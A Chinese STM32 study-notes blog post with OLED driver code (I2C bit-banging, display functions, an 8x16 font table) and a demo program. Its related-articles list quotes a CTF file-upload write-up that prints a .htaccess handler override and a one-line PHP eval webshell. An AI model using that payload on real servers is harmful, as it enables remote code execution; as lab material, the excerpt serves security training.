【STM32】学习笔记(OLED)
调试方式
OLED简介
硬件电路
驱动函数
OLED.H
#ifndef __OLED_H
#define __OLED_Hvoid OLED_Init(void);
void OLED_Clear(void);
void OLED_ShowChar(uint8_t Line, uint8_t Column, char Char);
void OLED_ShowString(uint8_t Line, uint8_t Column, char *String);
void OLED_ShowNum(uint8_t Line, uint8_t Column, uint32_t Number, uint8_t Length);
void OLED_ShowSignedNum(uint8_t Line, uint8_t Column, int32_t Number, uint8_t Length);
void OLED_ShowHexNum(uint8_t Line, uint8_t Column, uint32_t Number, uint8_t Length);
void OLED_ShowBinNum(uint8_t Line, uint8_t Column, uint32_t Number, uint8_t Length);#endif
OLDE.c
#include "stm32f10x.h"
#include "OLED_Font.h"/*引脚配置*/
#define OLED_W_SCL(x) GPIO_WriteBit(GPIOB, GPIO_Pin_8, (BitAction)(x))
#define OLED_W_SDA(x) GPIO_WriteBit(GPIOB, GPIO_Pin_9, (BitAction)(x))/*引脚初始化*/
void OLED_I2C_Init(void)
{RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOB, ENABLE);GPIO_InitTypeDef GPIO_InitStructure;GPIO_InitStructure.GPIO_Mode = GPIO_Mode_Out_OD;GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;GPIO_InitStructure.GPIO_Pin = GPIO_Pin_8;GPIO_Init(GPIOB, &GPIO_InitStructure);GPIO_InitStructure.GPIO_Pin = GPIO_Pin_9;GPIO_Init(GPIOB, &GPIO_InitStructure);OLED_W_SCL(1);OLED_W_SDA(1);
}/*** @brief I2C开始* @param 无* @retval 无*/
void OLED_I2C_Start(void)
{OLED_W_SDA(1);OLED_W_SCL(1);OLED_W_SDA(0);OLED_W_SCL(0);
}/*** @brief I2C停止* @param 无* @retval 无*/
void OLED_I2C_Stop(void)
{OLED_W_SDA(0);OLED_W_SCL(1);OLED_W_SDA(1);
}/*** @brief I2C发送一个字节* @param Byte 要发送的一个字节* @retval 无*/
void OLED_I2C_SendByte(uint8_t Byte)
{uint8_t i;for (i = 0; i < 8; i++){OLED_W_SDA(Byte & (0x80 >> i));OLED_W_SCL(1);OLED_W_SCL(0);}OLED_W_SCL(1); //额外的一个时钟,不处理应答信号OLED_W_SCL(0);
}/*** @brief OLED写命令* @param Command 要写入的命令* @retval 无*/
void OLED_WriteCommand(uint8_t Command)
{OLED_I2C_Start();OLED_I2C_SendByte(0x78); //从机地址OLED_I2C_SendByte(0x00); //写命令OLED_I2C_SendByte(Command); OLED_I2C_Stop();
}/*** @brief OLED写数据* @param Data 要写入的数据* @retval 无*/
void OLED_WriteData(uint8_t Data)
{OLED_I2C_Start();OLED_I2C_SendByte(0x78); //从机地址OLED_I2C_SendByte(0x40); //写数据OLED_I2C_SendByte(Data);OLED_I2C_Stop();
}/*** @brief OLED设置光标位置* @param Y 以左上角为原点,向下方向的坐标,范围:0~7* @param X 以左上角为原点,向右方向的坐标,范围:0~127* @retval 无*/
void OLED_SetCursor(uint8_t Y, uint8_t X)
{OLED_WriteCommand(0xB0 | Y); //设置Y位置OLED_WriteCommand(0x10 | ((X & 0xF0) >> 4)); //设置X位置高4位OLED_WriteCommand(0x00 | (X & 0x0F)); //设置X位置低4位
}/*** @brief OLED清屏* @param 无* @retval 无*/
void OLED_Clear(void)
{ uint8_t i, j;for (j = 0; j < 8; j++){OLED_SetCursor(j, 0);for(i = 0; i < 128; i++){OLED_WriteData(0x00);}}
}/*** @brief OLED显示一个字符* @param Line 行位置,范围:1~4* @param Column 列位置,范围:1~16* @param Char 要显示的一个字符,范围:ASCII可见字符* @retval 无*/
void OLED_ShowChar(uint8_t Line, uint8_t Column, char Char)
{ uint8_t i;OLED_SetCursor((Line - 1) * 2, (Column - 1) * 8); //设置光标位置在上半部分for (i = 0; i < 8; i++){OLED_WriteData(OLED_F8x16[Char - ' '][i]); //显示上半部分内容}OLED_SetCursor((Line - 1) * 2 + 1, (Column - 1) * 8); //设置光标位置在下半部分for (i = 0; i < 8; i++){OLED_WriteData(OLED_F8x16[Char - ' '][i + 8]); //显示下半部分内容}
}/*** @brief OLED显示字符串* @param Line 起始行位置,范围:1~4* @param Column 起始列位置,范围:1~16* @param String 要显示的字符串,范围:ASCII可见字符* @retval 无*/
void OLED_ShowString(uint8_t Line, uint8_t Column, char *String)
{uint8_t i;for (i = 0; String[i] != '\0'; i++){OLED_ShowChar(Line, Column + i, String[i]);}
}/*** @brief OLED次方函数* @retval 返回值等于X的Y次方*/
uint32_t OLED_Pow(uint32_t X, uint32_t Y)
{uint32_t Result = 1;while (Y--){Result *= X;}return Result;
}/*** @brief OLED显示数字(十进制,正数)* @param Line 起始行位置,范围:1~4* @param Column 起始列位置,范围:1~16* @param Number 要显示的数字,范围:0~4294967295* @param Length 要显示数字的长度,范围:1~10* @retval 无*/
void OLED_ShowNum(uint8_t Line, uint8_t Column, uint32_t Number, uint8_t Length)
{uint8_t i;for (i = 0; i < Length; i++) {OLED_ShowChar(Line, Column + i, Number / OLED_Pow(10, Length - i - 1) % 10 + '0');}
}/*** @brief OLED显示数字(十进制,带符号数)* @param Line 起始行位置,范围:1~4* @param Column 起始列位置,范围:1~16* @param Number 要显示的数字,范围:-2147483648~2147483647* @param Length 要显示数字的长度,范围:1~10* @retval 无*/
void OLED_ShowSignedNum(uint8_t Line, uint8_t Column, int32_t Number, uint8_t Length)
{uint8_t i;uint32_t Number1;if (Number >= 0){OLED_ShowChar(Line, Column, '+');Number1 = Number;}else{OLED_ShowChar(Line, Column, '-');Number1 = -Number;}for (i = 0; i < Length; i++) {OLED_ShowChar(Line, Column + i + 1, Number1 / OLED_Pow(10, Length - i - 1) % 10 + '0');}
}/*** @brief OLED显示数字(十六进制,正数)* @param Line 起始行位置,范围:1~4* @param Column 起始列位置,范围:1~16* @param Number 要显示的数字,范围:0~0xFFFFFFFF* @param Length 要显示数字的长度,范围:1~8* @retval 无*/
void OLED_ShowHexNum(uint8_t Line, uint8_t Column, uint32_t Number, uint8_t Length)
{uint8_t i, SingleNumber;for (i = 0; i < Length; i++) {SingleNumber = Number / OLED_Pow(16, Length - i - 1) % 16;if (SingleNumber < 10){OLED_ShowChar(Line, Column + i, SingleNumber + '0');}else{OLED_ShowChar(Line, Column + i, SingleNumber - 10 + 'A');}}
}/*** @brief OLED显示数字(二进制,正数)* @param Line 起始行位置,范围:1~4* @param Column 起始列位置,范围:1~16* @param Number 要显示的数字,范围:0~1111 1111 1111 1111* @param Length 要显示数字的长度,范围:1~16* @retval 无*/
void OLED_ShowBinNum(uint8_t Line, uint8_t Column, uint32_t Number, uint8_t Length)
{uint8_t i;for (i = 0; i < Length; i++) {OLED_ShowChar(Line, Column + i, Number / OLED_Pow(2, Length - i - 1) % 2 + '0');}
}/*** @brief OLED初始化* @param 无* @retval 无*/
void OLED_Init(void)
{uint32_t i, j;for (i = 0; i < 1000; i++) //上电延时{for (j = 0; j < 1000; j++);}OLED_I2C_Init(); //端口初始化OLED_WriteCommand(0xAE); //关闭显示OLED_WriteCommand(0xD5); //设置显示时钟分频比/振荡器频率OLED_WriteCommand(0x80);OLED_WriteCommand(0xA8); //设置多路复用率OLED_WriteCommand(0x3F);OLED_WriteCommand(0xD3); //设置显示偏移OLED_WriteCommand(0x00);OLED_WriteCommand(0x40); //设置显示开始行OLED_WriteCommand(0xA1); //设置左右方向,0xA1正常 0xA0左右反置OLED_WriteCommand(0xC8); //设置上下方向,0xC8正常 0xC0上下反置OLED_WriteCommand(0xDA); //设置COM引脚硬件配置OLED_WriteCommand(0x12);OLED_WriteCommand(0x81); //设置对比度控制OLED_WriteCommand(0xCF);OLED_WriteCommand(0xD9); //设置预充电周期OLED_WriteCommand(0xF1);OLED_WriteCommand(0xDB); //设置VCOMH取消选择级别OLED_WriteCommand(0x30);OLED_WriteCommand(0xA4); //设置整个显示打开/关闭OLED_WriteCommand(0xA6); //设置正常/倒转显示OLED_WriteCommand(0x8D); //设置充电泵OLED_WriteCommand(0x14);OLED_WriteCommand(0xAF); //开启显示OLED_Clear(); //OLED清屏
}
#include "stm32f10x.h" // Device header
#include "Delay.h"
#include "OLED.h"int main(void)
{OLED_Init();OLED_ShowChar(1, 1, 'A');OLED_ShowString(1, 3, "HelloWorld!");OLED_ShowNum(2, 1, 12345, 5);OLED_ShowSignedNum(2, 7, -66, 2);OLED_ShowHexNum(3, 1, 0xAA55, 4);OLED_ShowBinNum(4, 1, 0xAA55, 16);while (1){}
}
OLED_Font.h
#ifndef __OLED_FONT_H
#define __OLED_FONT_H/*OLED字模库,宽8像素,高16像素*/
const uint8_t OLED_F8x16[][16]=
{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,// 00x00,0x00,0x00,0xF8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x33,0x30,0x00,0x00,0x00,//! 10x00,0x10,0x0C,0x06,0x10,0x0C,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,//" 20x40,0xC0,0x78,0x40,0xC0,0x78,0x40,0x00,0x04,0x3F,0x04,0x04,0x3F,0x04,0x04,0x00,//# 30x00,0x70,0x88,0xFC,0x08,0x30,0x00,0x00,0x00,0x18,0x20,0xFF,0x21,0x1E,0x00,0x00,//$ 40xF0,0x08,0xF0,0x00,0xE0,0x18,0x00,0x00,0x00,0x21,0x1C,0x03,0x1E,0x21,0x1E,0x00,//% 50x00,0xF0,0x08,0x88,0x70,0x00,0x00,0x00,0x1E,0x21,0x23,0x24,0x19,0x27,0x21,0x10,//& 60x10,0x16,0x0E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,//' 70x00,0x00,0x00,0xE0,0x18,0x04,0x02,0x00,0x00,0x00,0x00,0x07,0x18,0x20,0x40,0x00,//( 80x00,0x02,0x04,0x18,0xE0,0x00,0x00,0x00,0x00,0x40,0x20,0x18,0x07,0x00,0x00,0x00,//) 90x40,0x40,0x80,0xF0,0x80,0x40,0x40,0x00,0x02,0x02,0x01,0x0F,0x01,0x02,0x02,0x00,//* 100x00,0x00,0x00,0xF0,0x00,0x00,0x00,0x00,0x01,0x01,0x01,0x1F,0x01,0x01,0x01,0x00,//+ 110x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xB0,0x70,0x00,0x00,0x00,0x00,0x00,//, 120x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x01,0x01,0x01,0x01,0x01,0x01,//- 130x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x30,0x00,0x00,0x00,0x00,0x00,//. 140x00,0x00,0x00,0x00,0x80,0x60,0x18,0x04,0x00,0x60,0x18,0x06,0x01,0x00,0x00,0x00,/// 150x00,0xE0,0x10,0x08,0x08,0x10,0xE0,0x00,0x00,0x0F,0x10,0x20,0x20,0x10,0x0F,0x00,//0 160x00,0x10,0x10,0xF8,0x00,0x00,0x00,0x00,0x00,0x20,0x20,0x3F,0x20,0x20,0x00,0x00,//1 170x00,0x70,0x08,0x08,0x08,0x88,0x70,0x00,0x00,0x30,0x28,0x24,0x22,0x21,0x30,0x00,//2 180x00,0x30,0x08,0x88,0x88,0x48,0x30,0x00,0x00,0x18,0x20,0x20,0x20,0x11,0x0E,0x00,//3 190x00,0x00,0xC0,0x20,0x10,0xF8,0x00,0x00,0x00,0x07,0x04,0x24,0x24,0x3F,0x24,0x00,//4 200x00,0xF8,0x08,0x88,0x88,0x08,0x08,0x00,0x00,0x19,0x21,0x20,0x20,0x11,0x0E,0x00,//5 210x00,0xE0,0x10,0x88,0x88,0x18,0x00,0x00,0x00,0x0F,0x11,0x20,0x20,0x11,0x0E,0x00,//6 220x00,0x38,0x08,0x08,0xC8,0x38,0x08,0x00,0x00,0x00,0x00,0x3F,0x00,0x00,0x00,0x00,//7 230x00,0x70,0x88,0x08,0x08,0x88,0x70,0x00,0x00,0x1C,0x22,0x21,0x21,0x22,0x1C,0x00,//8 240x00,0xE0,0x10,0x08,0x08,0x10,0xE0,0x00,0x00,0x00,0x31,0x22,0x22,0x11,0x0F,0x00,//9 250x00,0x00,0x00,0xC0,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x30,0x00,0x00,0x00,//: 260x00,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x60,0x00,0x00,0x00,0x00,//; 270x00,0x00,0x80,0x40,0x20,0x10,0x08,0x00,0x00,0x01,0x02,0x04,0x08,0x10,0x20,0x00,//< 280x40,0x40,0x40,0x40,0x40,0x40,0x40,0x00,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x00,//= 290x00,0x08,0x10,0x20,0x40,0x80,0x00,0x00,0x00,0x20,0x10,0x08,0x04,0x02,0x01,0x00,//> 300x00,0x70,0x48,0x08,0x08,0x08,0xF0,0x00,0x00,0x00,0x00,0x30,0x36,0x01,0x00,0x00,//? 310xC0,0x30,0xC8,0x28,0xE8,0x10,0xE0,0x00,0x07,0x18,0x27,0x24,0x23,0x14,0x0B,0x00,//@ 320x00,0x00,0xC0,0x38,0xE0,0x00,0x00,0x00,0x20,0x3C,0x23,0x02,0x02,0x27,0x38,0x20,//A 330x08,0xF8,0x88,0x88,0x88,0x70,0x00,0x00,0x20,0x3F,0x20,0x20,0x20,0x11,0x0E,0x00,//B 340xC0,0x30,0x08,0x08,0x08,0x08,0x38,0x00,0x07,0x18,0x20,0x20,0x20,0x10,0x08,0x00,//C 350x08,0xF8,0x08,0x08,0x08,0x10,0xE0,0x00,0x20,0x3F,0x20,0x20,0x20,0x10,0x0F,0x00,//D 360x08,0xF8,0x88,0x88,0xE8,0x08,0x10,0x00,0x20,0x3F,0x20,0x20,0x23,0x20,0x18,0x00,//E 370x08,0xF8,0x88,0x88,0xE8,0x08,0x10,0x00,0x20,0x3F,0x20,0x00,0x03,0x00,0x00,0x00,//F 380xC0,0x30,0x08,0x08,0x08,0x38,0x00,0x00,0x07,0x18,0x20,0x20,0x22,0x1E,0x02,0x00,//G 390x08,0xF8,0x08,0x00,0x00,0x08,0xF8,0x08,0x20,0x3F,0x21,0x01,0x01,0x21,0x3F,0x20,//H 400x00,0x08,0x08,0xF8,0x08,0x08,0x00,0x00,0x00,0x20,0x20,0x3F,0x20,0x20,0x00,0x00,//I 410x00,0x00,0x08,0x08,0xF8,0x08,0x08,0x00,0xC0,0x80,0x80,0x80,0x7F,0x00,0x00,0x00,//J 420x08,0xF8,0x88,0xC0,0x28,0x18,0x08,0x00,0x20,0x3F,0x20,0x01,0x26,0x38,0x20,0x00,//K 430x08,0xF8,0x08,0x00,0x00,0x00,0x00,0x00,0x20,0x3F,0x20,0x20,0x20,0x20,0x30,0x00,//L 440x08,0xF8,0xF8,0x00,0xF8,0xF8,0x08,0x00,0x20,0x3F,0x00,0x3F,0x00,0x3F,0x20,0x00,//M 450x08,0xF8,0x30,0xC0,0x00,0x08,0xF8,0x08,0x20,0x3F,0x20,0x00,0x07,0x18,0x3F,0x00,//N 460xE0,0x10,0x08,0x08,0x08,0x10,0xE0,0x00,0x0F,0x10,0x20,0x20,0x20,0x10,0x0F,0x00,//O 470x08,0xF8,0x08,0x08,0x08,0x08,0xF0,0x00,0x20,0x3F,0x21,0x01,0x01,0x01,0x00,0x00,//P 480xE0,0x10,0x08,0x08,0x08,0x10,0xE0,0x00,0x0F,0x18,0x24,0x24,0x38,0x50,0x4F,0x00,//Q 490x08,0xF8,0x88,0x88,0x88,0x88,0x70,0x00,0x20,0x3F,0x20,0x00,0x03,0x0C,0x30,0x20,//R 500x00,0x70,0x88,0x08,0x08,0x08,0x38,0x00,0x00,0x38,0x20,0x21,0x21,0x22,0x1C,0x00,//S 510x18,0x08,0x08,0xF8,0x08,0x08,0x18,0x00,0x00,0x00,0x20,0x3F,0x20,0x00,0x00,0x00,//T 520x08,0xF8,0x08,0x00,0x00,0x08,0xF8,0x08,0x00,0x1F,0x20,0x20,0x20,0x20,0x1F,0x00,//U 530x08,0x78,0x88,0x00,0x00,0xC8,0x38,0x08,0x00,0x00,0x07,0x38,0x0E,0x01,0x00,0x00,//V 540xF8,0x08,0x00,0xF8,0x00,0x08,0xF8,0x00,0x03,0x3C,0x07,0x00,0x07,0x3C,0x03,0x00,//W 550x08,0x18,0x68,0x80,0x80,0x68,0x18,0x08,0x20,0x30,0x2C,0x03,0x03,0x2C,0x30,0x20,//X 560x08,0x38,0xC8,0x00,0xC8,0x38,0x08,0x00,0x00,0x00,0x20,0x3F,0x20,0x00,0x00,0x00,//Y 570x10,0x08,0x08,0x08,0xC8,0x38,0x08,0x00,0x20,0x38,0x26,0x21,0x20,0x20,0x18,0x00,//Z 580x00,0x00,0x00,0xFE,0x02,0x02,0x02,0x00,0x00,0x00,0x00,0x7F,0x40,0x40,0x40,0x00,//[ 590x00,0x0C,0x30,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x06,0x38,0xC0,0x00,//\ 600x00,0x02,0x02,0x02,0xFE,0x00,0x00,0x00,0x00,0x40,0x40,0x40,0x7F,0x00,0x00,0x00,//] 610x00,0x00,0x04,0x02,0x02,0x02,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,//^ 620x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,//_ 630x00,0x02,0x02,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,//` 640x00,0x00,0x80,0x80,0x80,0x80,0x00,0x00,0x00,0x19,0x24,0x22,0x22,0x22,0x3F,0x20,//a 650x08,0xF8,0x00,0x80,0x80,0x00,0x00,0x00,0x00,0x3F,0x11,0x20,0x20,0x11,0x0E,0x00,//b 660x00,0x00,0x00,0x80,0x80,0x80,0x00,0x00,0x00,0x0E,0x11,0x20,0x20,0x20,0x11,0x00,//c 670x00,0x00,0x00,0x80,0x80,0x88,0xF8,0x00,0x00,0x0E,0x11,0x20,0x20,0x10,0x3F,0x20,//d 680x00,0x00,0x80,0x80,0x80,0x80,0x00,0x00,0x00,0x1F,0x22,0x22,0x22,0x22,0x13,0x00,//e 690x00,0x80,0x80,0xF0,0x88,0x88,0x88,0x18,0x00,0x20,0x20,0x3F,0x20,0x20,0x00,0x00,//f 700x00,0x00,0x80,0x80,0x80,0x80,0x80,0x00,0x00,0x6B,0x94,0x94,0x94,0x93,0x60,0x00,//g 710x08,0xF8,0x00,0x80,0x80,0x80,0x00,0x00,0x20,0x3F,0x21,0x00,0x00,0x20,0x3F,0x20,//h 720x00,0x80,0x98,0x98,0x00,0x00,0x00,0x00,0x00,0x20,0x20,0x3F,0x20,0x20,0x00,0x00,//i 730x00,0x00,0x00,0x80,0x98,0x98,0x00,0x00,0x00,0xC0,0x80,0x80,0x80,0x7F,0x00,0x00,//j 740x08,0xF8,0x00,0x00,0x80,0x80,0x80,0x00,0x20,0x3F,0x24,0x02,0x2D,0x30,0x20,0x00,//k 750x00,0x08,0x08,0xF8,0x00,0x00,0x00,0x00,0x00,0x20,0x20,0x3F,0x20,0x20,0x00,0x00,//l 760x80,0x80,0x80,0x80,0x80,0x80,0x80,0x00,0x20,0x3F,0x20,0x00,0x3F,0x20,0x00,0x3F,//m 770x80,0x80,0x00,0x80,0x80,0x80,0x00,0x00,0x20,0x3F,0x21,0x00,0x00,0x20,0x3F,0x20,//n 780x00,0x00,0x80,0x80,0x80,0x80,0x00,0x00,0x00,0x1F,0x20,0x20,0x20,0x20,0x1F,0x00,//o 790x80,0x80,0x00,0x80,0x80,0x00,0x00,0x00,0x80,0xFF,0xA1,0x20,0x20,0x11,0x0E,0x00,//p 800x00,0x00,0x00,0x80,0x80,0x80,0x80,0x00,0x00,0x0E,0x11,0x20,0x20,0xA0,0xFF,0x80,//q 810x80,0x80,0x80,0x00,0x80,0x80,0x80,0x00,0x20,0x20,0x3F,0x21,0x20,0x00,0x01,0x00,//r 820x00,0x00,0x80,0x80,0x80,0x80,0x80,0x00,0x00,0x33,0x24,0x24,0x24,0x24,0x19,0x00,//s 830x00,0x80,0x80,0xE0,0x80,0x80,0x00,0x00,0x00,0x00,0x00,0x1F,0x20,0x20,0x00,0x00,//t 840x80,0x80,0x00,0x00,0x00,0x80,0x80,0x00,0x00,0x1F,0x20,0x20,0x20,0x10,0x3F,0x20,//u 850x80,0x80,0x80,0x00,0x00,0x80,0x80,0x80,0x00,0x01,0x0E,0x30,0x08,0x06,0x01,0x00,//v 860x80,0x80,0x00,0x80,0x00,0x80,0x80,0x80,0x0F,0x30,0x0C,0x03,0x0C,0x30,0x0F,0x00,//w 870x00,0x80,0x80,0x00,0x80,0x80,0x80,0x00,0x00,0x20,0x31,0x2E,0x0E,0x31,0x20,0x00,//x 880x80,0x80,0x80,0x00,0x00,0x80,0x80,0x80,0x80,0x81,0x8E,0x70,0x18,0x06,0x01,0x00,//y 890x00,0x80,0x80,0x80,0x80,0x80,0x80,0x00,0x00,0x21,0x30,0x2C,0x22,0x21,0x30,0x00,//z 900x00,0x00,0x00,0x00,0x80,0x7C,0x02,0x02,0x00,0x00,0x00,0x00,0x00,0x3F,0x40,0x40,//{ 910x00,0x00,0x00,0x00,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0x00,0x00,//| 920x00,0x02,0x02,0x7C,0x80,0x00,0x00,0x00,0x00,0x40,0x40,0x3F,0x00,0x00,0x00,0x00,//} 930x00,0x06,0x01,0x01,0x02,0x02,0x04,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,//~ 94
};#endif
结果展示
相关文章:

【STM32】学习笔记(OLED)
调试方式 OLED简介 硬件电路 驱动函数 OLED.H #ifndef __OLED_H #define __OLED_Hvoid OLED_Init(void); void OLED_Clear(void); void OLED_ShowChar(uint8_t Line, uint8_t Column, char Char); void OLED_ShowString(uint8_t Line, uint8_t Column, char *String); void OL…...

概念解析 | 认知雷达:有大脑的雷达
注1:本文系“概念解析”系列之一,致力于简洁清晰地解释、辨析复杂而专业的概念。本次辨析的概念是:认知雷达。 认知雷达:有大脑的雷达 1.背景介绍 对于传统的雷达,它们通常都是预设定参数和模式来进行工作,比如发射功率、波形、扫描模式等。然而,这种方式面临着一些挑…...
B. Long Long
time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Today Alex was brought array a1,a2,…,an�1,�2,…,�� of length n�. He can apply as m…...

CTFhub-文件上传-.htaccess
首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…...

Python中的绝对和相对导入
在本文中,我们将看到Python中的绝对和相对导入。 Python中导入的工作 Python中的import类似于C/C中的#include header_file。Python模块可以通过使用import导入文件/函数来访问其他模块的代码。import语句是调用import机制的最常见方式,但它不是唯一的…...
C语言关于与运算符
C语言关于&与&&运算符 我们知道,在很多场景中&和&&通常可以相互代替,那么它们到底有什么不同呢? 先看一段代码 bool a, b, c; c a & b;使用clang -S编译出来的指令如下: movb -5(%rbp), %al …...

计算机网络(速率、宽带、吞吐量、时延、发送时延)
速率: 最重要的一个性能指标。 指的是数据的传送速率,也称为数据率 (data rate) 或比特率 (bit rate)。 单位:bit/s,或 kbit/s、Mbit/s、 Gbit/s 等。 例如 4 1010 bit/s 的数据率就记为 40 Gbit/s。 速率往往是指额定速率或…...

kubectl入门
一.kubectl的三种资源管理方式: 二. kubectl资源介绍: 1.namespace:实现多套环境的资源隔离或者多租户的资源隔离。k8s中的pod默认可以相互访问,如果不想让两个pod之间相互访问,就将其划分到不同ns下。 2.podÿ…...

Android JNI系列详解之ndk-build工具的使用
一、Android项目中使用ndk-build工具编译库文件 之前介绍过CMake编译工具的使用,今天介绍一种ndk自带的编译工具ndk-build的使用。 ndk-build目前主要有两种配置使用方式: 如上图所示,第一种方式是Android.mkApplication.mkgradle的方式生成…...

【业务功能篇90】微服务-springcloud-检索服务-ElasticSearch实战运用-DSL语句
商城检索服务 1.检索页面的搭建 商品检索页面我们放在search服务中处理,首页我们需要在mall-search服务中支持Thymeleaf。添加对应的依赖 <!-- 添加Thymeleaf的依赖 --><dependency><groupId>org.springframework.boot</groupId><artifa…...

QTday4
实现闹钟功能 1》 头文件 #ifndef BURGER_H #define BURGER_H#include <QWidget> #include <QLabel> #include <QLineEdit> #include <QPushButton> #include <QTextEdit> #include <QTimerEvent> //定时器事件类 #include <QDateTim…...

设计模式之命令模式(Command)的C++实现
1、命令模式的提出 在软件开发过程中,“行为请求者”和“行为实现者”通常呈现一种“紧耦合”,如果行为的实现经常变化,则不利于代码的维护。命令模式可以将行为的请求者和行为的实现者进行解耦。具体流程是将行为请求者封装成一个对象&…...

取证工具prodiscover的基本操作
前言提醒 取证工具ProDiscover在网上讲解操作的文章实在太少,一是prodiscover是用于磁盘取证的工具,本身比较小众比不上其他的编程软件能用到的地方多,二是这个工具是用来恢复提取磁盘中被删除的文件,是比较隐晦的软件。 需要注…...

flutter plugins插件【二】【FlutterAssetsGenerator】
2、FlutterAssetsGenerator 介绍地址:https://juejin.cn/post/6898542896274735117 配置assets目录 插件会从pubspec.yaml文件下读取assets目录,因此要使用本插件,你需要在pubspec.yaml下配置资源目录 flutter:# The following line ens…...

看懂UML类图
UML 统一建模语言(Unified Modeling Language,UML)是一种为面向对象系统的产品进行说明、可视化和编制文档的一种标准语言,是非专利的第三代建模和规约语言。UML是面向对象设计的建模工具,独立于任何具体程序设计语言。 类的表示 首先看那个…...

keras深度学习框架通过简单神经网络实现手写数字识别
背景 keras深度学习框架,并不是一个独立的深度学习框架,它后台依赖tensorflow或者theano。大部分开发者应该使用的是tensorflow。keras可以很方便的像搭积木一样根据模型搭出我们需要的神经网络,然后进行编译,训练,测试…...

React 中的 ref 如何操作 dom节点,使输入框获取焦点
聚焦文字输入框 .focus() 获取焦点 当用户点击按钮时,handleClick 函数会被调用,从而将焦点聚焦到文本输入框上。 // 焦文字输入框 import { useRef } from "react";const FocusForm () > {const inputRef useRef<any>(null);func…...

最短路Dijkstra,spfa,图论二分图算法AYIT---ACM训练(模板版)
文章目录 前言A - Dijkstra Algorithm0x00 算法题目0x01 算法思路0x02 代码实现 B - 最长路0x00 算法题目0x01 算法思路0x02 代码实现 C - 二分图最大匹配0x00 算法题目0x01 算法思路0x02 代码实现 D - 搭配飞行员0x00 算法题目0x01 算法思路0x02 代码实现 E - The Perfect Sta…...
AK 微众银行 9.3 笔试 Java后端方向
T1(模拟,二分) (没看清买的糖果只有前缀,一开始用二分写了,后来意识到也没改了,简单写的话,直接模拟就好了) #include <bits/stdc.h>#define endl \nusing namespace std;const int N 50010;int n; int a[N];bool check(…...

了解java中的通配符“?“
目录 通配符的作用 先看一段代码 用通配符"?"后,代码变化 结论 通配符上界 通配符下界 对通配符上下界的注释理解及其练习代码 简记: ? 用于在泛型的使用,即为通配符. 在Java中,通配符(wildcard)主要用于泛型…...

label-studio的使用教程(导入本地路径)
文章目录 1. 准备环境2. 脚本启动2.1 Windows2.2 Linux 3. 安装label-studio机器学习后端3.1 pip安装(推荐)3.2 GitHub仓库安装 4. 后端配置4.1 yolo环境4.2 引入后端模型4.3 修改脚本4.4 启动后端 5. 标注工程5.1 创建工程5.2 配置图片路径5.3 配置工程类型标签5.4 配置模型5.…...
ubuntu搭建nfs服务centos挂载访问
在Ubuntu上设置NFS服务器 在Ubuntu上,你可以使用apt包管理器来安装NFS服务器。打开终端并运行: sudo apt update sudo apt install nfs-kernel-server创建共享目录 创建一个目录用于共享,例如/shared: sudo mkdir /shared sud…...
【Linux】C语言执行shell指令
在C语言中执行Shell指令 在C语言中,有几种方法可以执行Shell指令: 1. 使用system()函数 这是最简单的方法,包含在stdlib.h头文件中: #include <stdlib.h>int main() {system("ls -l"); // 执行ls -l命令retu…...
Leetcode 3577. Count the Number of Computer Unlocking Permutations
Leetcode 3577. Count the Number of Computer Unlocking Permutations 1. 解题思路2. 代码实现 题目链接:3577. Count the Number of Computer Unlocking Permutations 1. 解题思路 这一题其实就是一个脑筋急转弯,要想要能够将所有的电脑解锁&#x…...

对WWDC 2025 Keynote 内容的预测
借助我们以往对苹果公司发展路径的深入研究经验,以及大语言模型的分析能力,我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际,我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测,聊作存档。等到明…...
在Ubuntu中设置开机自动运行(sudo)指令的指南
在Ubuntu系统中,有时需要在系统启动时自动执行某些命令,特别是需要 sudo权限的指令。为了实现这一功能,可以使用多种方法,包括编写Systemd服务、配置 rc.local文件或使用 cron任务计划。本文将详细介绍这些方法,并提供…...
python如何将word的doc另存为docx
将 DOCX 文件另存为 DOCX 格式(Python 实现) 在 Python 中,你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是,.doc 是旧的 Word 格式,而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...
VTK如何让部分单位不可见
最近遇到一个需求,需要让一个vtkDataSet中的部分单元不可见,查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行,是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示,主要是最后一个参数,透明度…...
Matlab | matlab常用命令总结
常用命令 一、 基础操作与环境二、 矩阵与数组操作(核心)三、 绘图与可视化四、 编程与控制流五、 符号计算 (Symbolic Math Toolbox)六、 文件与数据 I/O七、 常用函数类别重要提示这是一份 MATLAB 常用命令和功能的总结,涵盖了基础操作、矩阵运算、绘图、编程和文件处理等…...
2023赣州旅游投资集团
